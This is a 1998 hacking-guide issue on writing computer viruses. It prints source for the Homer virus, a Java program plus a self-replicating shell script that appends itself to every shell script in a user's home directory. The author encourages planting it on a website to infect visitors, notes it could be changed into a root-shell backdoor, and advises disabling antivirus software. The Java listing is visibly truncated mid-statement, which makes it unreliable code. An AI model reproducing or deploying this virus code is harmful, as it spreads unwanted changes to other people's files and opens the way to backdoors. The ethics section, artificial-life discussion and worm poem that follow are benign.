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Vol. 3 No. 7, part 2

Introduction to Computer Viruses

Part Two:

* How to write them
* How to write them and not get lynched
* Artificial life
* Virus humor

How to Write Them

 Wait!  Wait!  This is supposed to be about mostly harmless hacking!  Is Carolyn really going to tell all the newbies how to write computer viruses?

 Yes, I am.  I will tell you how to really write computer viruses, not just use some lamer program like Virus Workshop that writes weak, helpless little viruses for you. However, to use the information in this Guide you must know how to compile Java or use assembly language.  If you can master these, you probably have enough willingness to work hard that you will not abuse the knowledge of how to code viruses.  At least that’s my theory -- please don’t prove me wrong!

 Besides, the only way to fight dangerous viruses is to know exactly how to write them.

 First, if you are like me, you may already be struggling with the temptation to install a Java virus on your Web site to infect unwary visitors.  Yes, I really am going to show you how to do this.  However, it is a (mostly) harmless virus.  (Aw, darn!)

You can go to jail warning:  This Guide only offers source code for a (mostly) harmless virus.  However, some people are so terrified of and ignorant about viruses that you just might get into big trouble if you really put this Java virus on your Web page.  Suggestion: if you absolutely cannot resist, how about putting it on a link with the flashing message “Danger! Do not click here!  If you do, you might catch a virus!  Honest!!!  Would I lie to you?!!??”

You can get punched in the nose warning: Some people don’t care if a virus is (mostly) harmless or even entirely harmless.  These guys are terrified of viruses.  If some guy who browses your Web site catches your virus and has a fit and sues you or tracks you down and punches you in the nose, remember, you asked for it.  Don’t expect me to feel sorry for you.

 OK, folks, here it is, a Java virus.  The following source code for the Homer virus is available on the floppy disk that accompanies “The Giant Black Book of Computer Viruses” by Dr. Mark Ludwig:

/* Homer.java by Mark D. LaDue */

/* December 7, 1996 */

/*  © (c) 1996 Mark D. LaDue
    You may study, use, modify, and distribute this example for any purpose.
    This example is provided WITHOUT WARRANTY either expressed or implied.  */

/* This Java application infects your UNIX system with a Bourne shell
   script virus, homer.sh.  homer.sh is kind enough to announce itself
   and inform you that "Java is safe, and UNIX viruses do not exist"
   before finding all of the Bourne shell scripts in your home directory,
   checking to see if they've already been infected, and infecting
   those that are not.  homer.sh infects another Bourne shell script
   by simply appending a working copy of itself to the end of that shell
   script.  */

import java.io.*;

class Homer {
    public static void main (String[] argv) {
    try {
        String userHome = System.getProperty("user.home");
        String target = "$HOME";
        FileOutputStream outer = new FileOutputStream(userHome + "/.homer.sh");
        String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
        "echo \"Java is safe, and UNIX viruses do not exist.\"" + "\n" +
        "for file in `find " + target + " -type f -print`" + "\n" + "do" +
        "\n" + "    case \"`sed 1q $file`\" in" + "\n" +
        "        \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
        " || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
        "    esac" + "\n" + "done" + "\n" +
        byte[] buffer = new byte[homer.length()];
        homer.getBytes(0, homer.length(), buffer, 0);
        Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
                        userHome + "/.homer.sh");
        Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
        } catch (IOException ioe) {}

 If you post this source code to you web site -- it will do nothing!  That is because this code must first be compiled in order to do its business.  If you don’t know how to compile Java source code for your Web page, you don’t know enough to safely handle viruses.
 Also, you need to put the code for the shell script, homer.sh, on your Web site so this Java program can ship it to your victims.  Following is the code for homer.sh:



echo "Java is safe, and UNIX viruses do not exist."

for file in `find $HOME -type f -print`


    case "`sed 1q $file`" in

        "#!/bin/sh" ) grep '#-_' $file > /dev/null || sed -n '/#-_/,$p' $0 >> $file




 In case you are wondering what this virus does -- it flashes a message on the victim’s screen reading “Java is safe, and UNIX viruses do not exist.”  For more information on how shell scripts work, see the GTMHHs on shell programming.)

 Homer is a harmless, humorous shell virus.  However, it doesn’t take a genius to see how it could be given a destructive payload by modifying homer.sh.  If someone were to be dumb enough to surf your booby-trapped Website while logged in as root, it would be trivial to use a homer.sh modified to give you a root shell with your very own back door.
 However, in general Java viruses are not terribly dangerous because they run so slowly.  This gives their victims time to get suspicious and terminate these programs.  Presumably a Java virus would take so long to create a root shell and back door that the victim would kill the process in time.


Newbie note: Don’t ever surf the Web while logged in as root. Don’t ever try to break into someone else’s computer while logged in as root.  Any time you are running as root, it is really easy for you to mess up your Unix computer.  If you check out the phf abuse log at the Hacker Wargame section of http://www.happyhacker.org, you will see that quite a few people have tried to break into our webserver while running a Web browser and logged in as root.

 The problem of some programs running really slowly is a major reason why you can’t do much as a virus or antivirus programmer unless you also learn at least one assembly language.  Assembly language is fast!  No time for the victim to react!  It also makes it easy for you to do complex and infuriating things while a computer is only beginning to boot up.  For DOS and Windows you will need an assembly language compiler for 80x86 (substitute 2, 3, 4, 5)/Pentium type computers.  Two of the best are Microsoft Macro Assembler and Borland Turbo Assembler.  Places where you can get them (you have to pay, they are not free) include http://www.pparadise.com and http://www.supershops.com.

 If you are really serious about learning how to write viruses and antiviruses, you may want to get the “Giant Black Book of Computer Viruses, Second Edition,” by Dr. Mark Ludwig.  Not only is he one of the world’s leading virus researchers -- he also is the only one I have discovered who will tell you EXACTLY in almost endless detail how to write viruses and antiviruses of many sorts.  However, this book is not for newbies.  He assumes you already know a great deal about DOS, Windows and Unix, and are a programmer.

 It comes with a floppy disk with source code for many viruses.  Here are some hints for how to extract these viruses from this disk successfully and without killing your computer.

1) This disk is designed to be installed from MS-DOS.  If you try to install it from Windows, it will give you a runtime error.  If you don’t know how to work from MS-DOS, you aren’t ready for this book.

2) The installation program for Dr. Ludwig’s virus disk ought to activate your antivirus program.  If it doesn’t, your antivirus program is even more worthless than most.  To be certain that you can succeed in installing a directory full of viruses, deactivate your antivirus program(s) first.  If this sounds too scary to you, don’t buy this book! If you mess up your computer by following my advice, too bad, that's what you get for playing with viruses.

3) Here’s what Dr. Ludwig’s installation program will tell you:

                        ! ! W A R N I N G ! !

If you're like most computer users, you've grown used to being pampered. That's a nice way of saying that software developers no longer expect you to have a brain. Like a stupid monkey, all you need to do is put the CD in the drive and let it auto-execute, or put the floppy disk in the drive and type "setup".

If that's what you want and need, THEN DELETE THIS SOFTWARE OFF YOUR COMPUTER IMMEDIATELY AND DESTROY THE DISK WITH A HAMMER! We're really not kidding about that. This disk is for thinking beings. Improperly used it could be very dangerous. It could ruin your computer, your career and your life. THAT IS NOT A JOKE.



 I suppose now you just can’t resist buying this book.  Guess what -- you can’t get it in any bookstore.  They are all afraid of getting sued.  Also, in some countries, mere possession of “The Giant Black Book of Computer Viruses” is illegal.  Just to be safe, you might want to delete this GTMHH right now and only read it from our Web site at http://www.happyhacker.org.
 If you are absolutely determined to get this book, within the US you can order it from American Eagle Publications by phoning toll free 800-719-4957; outside the US you can order it by calling (insert country code here) 520-367-1621.  It costs $39.95.  This price includes the floppy disk with all that stuff that upsets your antivirus program.  Shipping and handling costs are extra.

 If you live within the US, you can also buy “The Giant Black Book of Computer Viruses” by sending $44.95 (this includes shipping by Priority mail, which is supposed to take two days) made out to M/B Research, PO Box 1520, Cedar Crest NM 87008.  That’s my company.  Sorry, I’m not going to ship the book outside the US because I don’t know in which countries it is illegal.  I would feel really bad if you were to go to your post office to pick up the book and instead got picked up by the police.

American Eagle can get the book to you at the lowest shipping cost, if you don’t mind it taking a long time to get to you.  I can get it to you faster, but it costs you more for the shipping.

 If you want to buy “The Giant Black Book of Computer Viruses” with a credit card over the Internet, check out http://www.amazon.com and http://www.infowar.com.  Amazon.com will usually take much longer to get the book to you than any other book seller, however.
How to Write Viruses and Not Get Lynched
 Just imagine how people will react when you are at some party full of ambitious young professionals.  Everyone is trading business cards.  You hand out ones that say “George the Doomster.  Computer virus design.  Free samples, muhahaha.”  You’ll be real popular, yes sirree!

 OK, so you only plan on writing harmless viruses.  Try to tell that to the lynch mob that may pay you a visit when they discover it was you who wrote the code that made their Win95 computers come down with habitual General Protection Faults.  Remember, even the virus designer who has the best of intentions may write a seemingly harmless or even beneficial virus that turns out to have a bug in the code that accidentally does harm.  Also, since the best viruses are memory resident (they hide in RAM memory) they really can help create General Protection Faults just by hogging too much memory.

 Besides, people like to pick and choose what programs run on their computers.  Imagine that!  If you design a virus so it will sneak into computers, don’t expect people to thank you and admire you.  If you do choose to code a virus, please consider coding politeness into it.  You could have it ask permission to take up residence on each new computer and leave when asked.  Shoot, if I could find a copy of that virus that makes a mirror image of Windows desktop graphics each Saturday, and if I knew how to uninstall it without paying a bunch of money to Panda Software, I’d enjoy sharing my computer with it.

Artificial Life

 Now that you understand the basic principles of virus coding, let’s take a look at the Big Time: using your programming talents to create -- or battle against -- artificial life.

 Just what is artificial life (insiders call it “alife”), anyhow? According to the most prominent researcher in this field, Dr. Chris Langton, artificial life is "... the study of man-made systems that exhibit behaviours characteristic of natural living systems." -- “Artificial Life,” edited by Chris Langton, Addison-Wesley, 1988.  Youc an get this book from http://www.amazon.com.

 There are three primary forms of alife.  Some alife is growing -- or trying to grow -- in test tubes full of RNA (ribonucleic acid) or other chemicals.  The second major form of alife consists of computerized robots which their creators hope to will someday achieve the ability to adapt and reproduce without human assistance.  The third type of alife is computer programs that exist, adapt, reproduce and evolve in the virtual landscape of cyberspace -- what we know as computer viruses.
 Of all the forms of artificial life, computer viruses are the only ones so far that reproduce, escape the laboratory and take up life in the wild.  Viruses that follow rules of good behavior -- only living in computers when invited -- are often created by alife researchers.
 How can you meet and get involved with alife designers? Http://alife.santafe.edu/alife/events/ and http://alife6.alife.org/ offer listings of upcoming conferences on this topic from around the world. 

Closely related to artificial life is the Berkeley Initiative in Soft Computing (BISC) at http://http.cs.berkeley.edu/projects/Bisc.  If you want to volunteer to harbor artificial life viruses on your computer or LAN, you can probably find a researcher at one of these sites who would be happy to give you some of his or her harmless (you hope) creations.

American Eagle also sells a book “Computer Viruses, Artificial Life and Evolution” by Dr. Ludwig (American Eagle, 1993).  It costs $26.95 and is almost impossible to get unless you order it directly from American Eagle.

Virus Humor

 As we end this Guide, please remember that with the right attitude, viruses actually can be fun!  Next time your computer gets infected by one, just remember, don’t worry, be happy.  Following is some virus humor to show how other people have coped cheerfully with an encounter with this pesky new life form.

                       "The Worm Before Christmas"
                            by Clement C. Morris

            (a.k.a. David Bradley, Betty Cheng, Hal Render,
                        Greg Rogers, and Dan LaLiberte)

        ‘Twas the night before finals, and all through the lab
        Not a student was sleeping, not even McNabb.
        Their projects were finished, completed with care
        In hopes that the grades would be easy (and fair).

        The students were wired with caffeine in their veins
        While visions of quals nearly drove them insane.
        With piles of books and a brand new highlighter,
        I had just settled down for another all nighter ---

        When out from our gateways arose such a clatter,
        I sprang from my desk to see what was the matter;
        Away to the console I flew like a flash,
        And logged in as root to fend off a crash.

        The windows displayed on my brand new Sun-3,
        Gave oodles of info --- some in 3-D.
        When, what to my burning red eyes should appear
        But dozens of "nobody" jobs.  Oh dear!

        With a blitzkrieg invasion, so virulent and firm,
        I knew in a moment, it was Morris's Worm!
        More rapid than eagles his processes came,
        And they forked and exec'ed and they copied by name:

        "Now Dasher!  Now Dancer!  Now, Prancer and Vixen!
        On Comet!  On Cupid!  On Donner and Blitzen!
        To the sites in .rhosts and host.equiv
        Now, dash away!  dash away!  dash away all!"

        And then in a twinkling, I heard on the phone,
        The complaints of the users.  (Thought I was alone!)
        "The load is too high!"  "I can't read my files!"
        "I can't send my mail over miles and miles!"

        I unplugged the net, and was turning around,
        When the worm-ridden system went down with a bound.
        I fretted.  I frittered.  I sweated.  I wept.
        Then finally I core dumped the worm in /tmp.

        It was smart and pervasive, a right jolly old stealth,
        And I laughed, when I saw it, in spite of myself.
        A look at the dump of that invasive thread
        Soon gave me to know we had nothing to dread.

        The next day was slow with no network connections,
        For we wanted no more of those pesky infections.
        But in spite of the news and the noise and the clatter,
        Soon all became normal, as if naught were the matter.

        Then later that month while all were away,
        A virus came calling and then went away.
        The system then told us, when we logged in one night:
        "Happy Christmas to all!  (You guys aren't so bright.)"

        [ Note:  The machines dasher.cs.uiuc.edu,
          dancer.cs.uiuc.ed, prancer.cs.uiuc.edu, etc. have
          been renamed deer1, deer2, deer3, etc. so as not
          to confuse the already burdened students who use
          those machines. We regret that this poem reflects
          the older naming scheme and hope it does not confuse
          the network administrator at your site.  -Ed.]
Where are those back issues of GTMHHs and Happy Hacker Digests? Check out the official Happy Hacker Web page at http://www.happyhacker.org.
We are against computer crime. We support good, old-fashioned hacking of the kind that led to the creation of the Internet and a new era of freedom of information. So don’t email us about any crimes you have committed!  And don’t expect us to come to your rescue if you crash 100 million computers with some new Java virus you just unleashed.

© 1998 Carolyn P. Meinel <>. You may forward, print out or post this GUIDE TO (mostly) HARMLESS HACKING on your Web site as long as you leave this notice at the end.

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